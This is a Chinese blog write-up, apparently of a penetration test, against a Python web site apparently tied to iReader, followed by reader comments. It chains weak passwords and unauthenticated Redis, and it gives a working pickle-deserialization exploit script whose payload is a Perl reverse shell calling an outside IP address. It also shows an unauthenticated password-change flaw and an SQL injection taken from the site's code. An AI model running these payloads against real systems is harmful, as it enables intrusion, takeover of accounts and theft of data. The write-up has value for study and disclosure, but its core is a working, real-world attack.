掌阅iReader某站Python漏洞挖掘

Python作为新一代的web开发语言,不少互联网公司内外网使用其开发站点。Python web周边还存在redis、memcached、mongod、supervisord等等服务,我们结合这些服务的一系列安全问题,将可以做很多有趣的事情。

目标端口开放了 6379、8080~8086、8889、8079

首先,8080~8086、8889都是web服务,而且是一个站,6379是redis、8079是一个web服务但有http基础认证。

逐一击破。

  • 8080~8086、8889:存在弱口令admin - admin1234
  • 6379:存在redis未授权访问
  • 8079:存在弱口令user - 123,登录查看发现是Supervisord管理页面

从易到难,先看redis,也许可以直接通过redis拿下root。

redis已经被人扫过,写过公钥:

14655868157516.jpg

写入/root/.ssh/和/root/目录提示如下:

(error) ERR Changing directory: Permission denied

可能是redis被降权了。再试一下写crontab。

14655680201594.jpg

可能真是被降权了。

我们看看redis里面放了些什么:

14655682285302.jpg

看这个(dp1\nS'user'\np2\nI7\ns.,长的就像python里的Pickle。而Pickle是可以执行python代码的。

所以,屡一下思路:

  1. 网站是python开发的
  2. redis可写文件,但权限有限
  3. redis中存着序列化字符串,可能是被用作session
  4. python反序列化过程中可以执行代码

所以,我想到如下两个思路:

  1. 利用redis写一个python的webshell
  2. 利用反序列化直接执行python代码

明显,第一种方法需要 1.知道web路径 2.redis有权限写web目录 3.可能要重启web服务(但因为我们有Supervisord管理权限,所以重启服务也不难)

第二种方法较为实际。所以,我写一个python pickle反序列化利用的脚本:

#!/usr/bin/env python
#
import cPickle
import os
import redis

class exp(object):
    def __reduce__(self):
        s = """perl -e 'use Socket;$i="159.203.220.19";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""
        return (os.system, (s,))

e = exp()
s = cPickle.dumps(e)

r = redis.Redis(host='xxx.xxx.xxx.xxx', port=6379, db=0)
r.set("e6c36e69a9cf9543243d7921aa1a3d8093b49441", s)

执行这个脚本,就可以向...:6379的redis中写一个key为e6c36e69a9cf9543243d7921aa1a3d8093b49441,值为序列化字符串的session。

然后我们来到http://...:8080,将cookie设置为session_id=e6c36e69a9cf9543243d7921aa1a3d8093b49441;刷新页面,那边的shell就弹好了:

14655818336051.jpg

分析一下它的nginx,可以发现他是将python程序开在8081~8086的端口上,并用nginx监听8889端口反向代理做负载均衡(感觉有点画蛇添足):

upstream tornado_cmread{
    server    127.0.0.1:8086   max_fails=2 fail_timeout=30s weight=1;
    server    127.0.0.1:8081   max_fails=2 fail_timeout=30s weight=1;
    server    127.0.0.1:8082   max_fails=2 fail_timeout=30s weight=1;
    server    127.0.0.1:8083   max_fails=2 fail_timeout=30s weight=1;
    server    127.0.0.1:8084   max_fails=2 fail_timeout=30s weight=1;
    server    127.0.0.1:8085   max_fails=2 fail_timeout=30s weight=1;
    keepalive 16;
}

supervisord 存在弱口令

[inet_http_server]         ; inet (TCP) server disabled by default
port=*:8079        ; (ip_address:port specifier, *:port for all iface)
username=user              ; (default is no username (open server))
password=123               ; (default is no password (open server)) </pre>

14655853333928.jpg

基本可以确定这个站和掌阅有关系:

14655863437770.jpg

邮箱一枚:

14655866587304.jpg

git log可查看提交日志:

14656513040677.jpg

然后简单看看代码,就发现一处未授权修改管理密码:

class LoginHandler(BaseHandler):
    """
        用户登陆退出修改密码模块
    """

    NEED_LOGIN = False

    ....

    def update_password(self):
        """
        修改密码
        :return:
        """
        user_id = self.get_argument("user_id", 0)
        password = self.get_argument("password", "")
        service = Service.inst()
        try:
            service.inst().user.update_password(user_id, password)
            self.api_json({"code": Status.SUCCESS, "msg": "修改成功"})
        except Exception as e:
            logging.error("修改密码失败=%s", str(e), exc_info=True)
            self.api_json({"code": Status.ERROR, "msg": "修改失败"})

NEED_LOGIN = False,这个类是无需登录就可以访问的类,而修改密码的方法update_password却在这个类里……

只需要传入user_id=xx&password=123456,即可将user_id为xx的用户密码改为123456,试一下(admin的id=7):

14656573182409.jpg

登录(admin-123456)OK:

14656576116135.jpg

另外,handler/api.py这也是无需登录的类,其中存在多个注入,如:

def get_chapter_list(self):
    """
    获取章节列表
    :return:
    """
    book_id = self.get_argument("book_id")
    client_id = self.get_argument("client_id")
    sign = self.get_argument("sign")
    if not book_id:
        self.api_json({"status": Status.ERROR, "msg": "参数缺失"})
        return
    md5 = hashlib.md5(client_id+SIGN_SECERT+book_id).hexdigest()
    if md5 != sign:
        self.api_json({"status": Status.ERROR, "msg": "非法请求"})
        return
    chapter_service = Service.inst().chapter
    try:
        chapter_list = chapter_service.get_upload_chapter_list(book_id)
        self.api_json(chapter_list)
    except Exception, e:
        logging.error("查询章节列表=%s", str(e), exc_info=True)
        self.api_json({"status": Status.ERROR, "msg": "查询失败"}) 

跟进get_upload_chapter_list:

def get_upload_chapter_list(self, book_id):
    """
    获取同步给客户端的章节列表
    :param book_id:
    :return:
    """
    query = Query()
    query.set_table("book_zhang")
    query.set_sql("select id, chaptername name")
    query.where(" book_id = %s " % book_id)
    query.where("app_ifup = 1")
    query.orderby("chapterid", "asc")
    return query.data() 

可见book_id被拼接进where语句了。但前面还需要绕过:md5 = hashlib.md5(client_id+SIGN_SECERT+book_id).hexdigest()

想必看过这篇文章的同学( https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html )都知道该怎么绕过吧,利用哈希长度扩展攻击。我就不演示绕过了,直接用我读到的key来进行注入:

14656602992464.jpg

另外,盲注也有一堆。比如这个盲注:

14656595412984.jpg

14656595688502.jpg

不多说了。。

赞赏

喜欢这篇文章?打赏1元

评论

goku 回复

请教一下大佬,
1. python pickle反序列化代码中,变量s是一个perl的shell反弹,但是之后的return (os.system, (s,)),这种写法从未见过,查了将近一小时也没找到答案,平常所见的一般是os.system('cd /etc') 这种用法,意思就是执行单引号的命令。但是return 一个元组,第一个参数是系统命令,第二个参数是字符串,意思是?
2. 关于__reduce__的用法,reduce函数类似map把函数映射到后面每个参数,但是会做累积计算,但是这里的__reduce__是一个方法,不同于reduce函数。我测试的在类里面定义的函数,pickle时候会报错“can't pickle instancemethod objects”。但是不定义类直接定义函数的话,pickle是没问题的。我理解的是专门配合pickle使用的,当对一个类对象pickle时,就需要使用__reduce__方法,不知道是否正确。另外就是既然直接定义一个函数更简单,为什么要定义个类。
不好意思写的有点多,希望能表达清楚自己的意思。

yuaneuro 回复

@goku __reduce__这个魔术方法当其返回tuple类型时就可以实现任意代码执行

sunu11 回复

贼溜

Benjamin 回复

1234567890

Chu 回复

这个厉害

广东硅谷学院 回复

#广东硅谷学院#学好IT好就业选硅谷IT,学技能拿文凭事半功倍,紧跟专业教师一起冲浪IT行业。我们有建设学习型专业师资团队,教师领跑学生紧随其后。(QQ:800015777,电话0754-88989555)

Melody 回复

哈希长度扩展攻击实战中一次没见过QAQ,p师傅一找一个准

rainism 回复

学习了,很有意思

RickGray 回复

中间件 python 序列化实例教学

captcha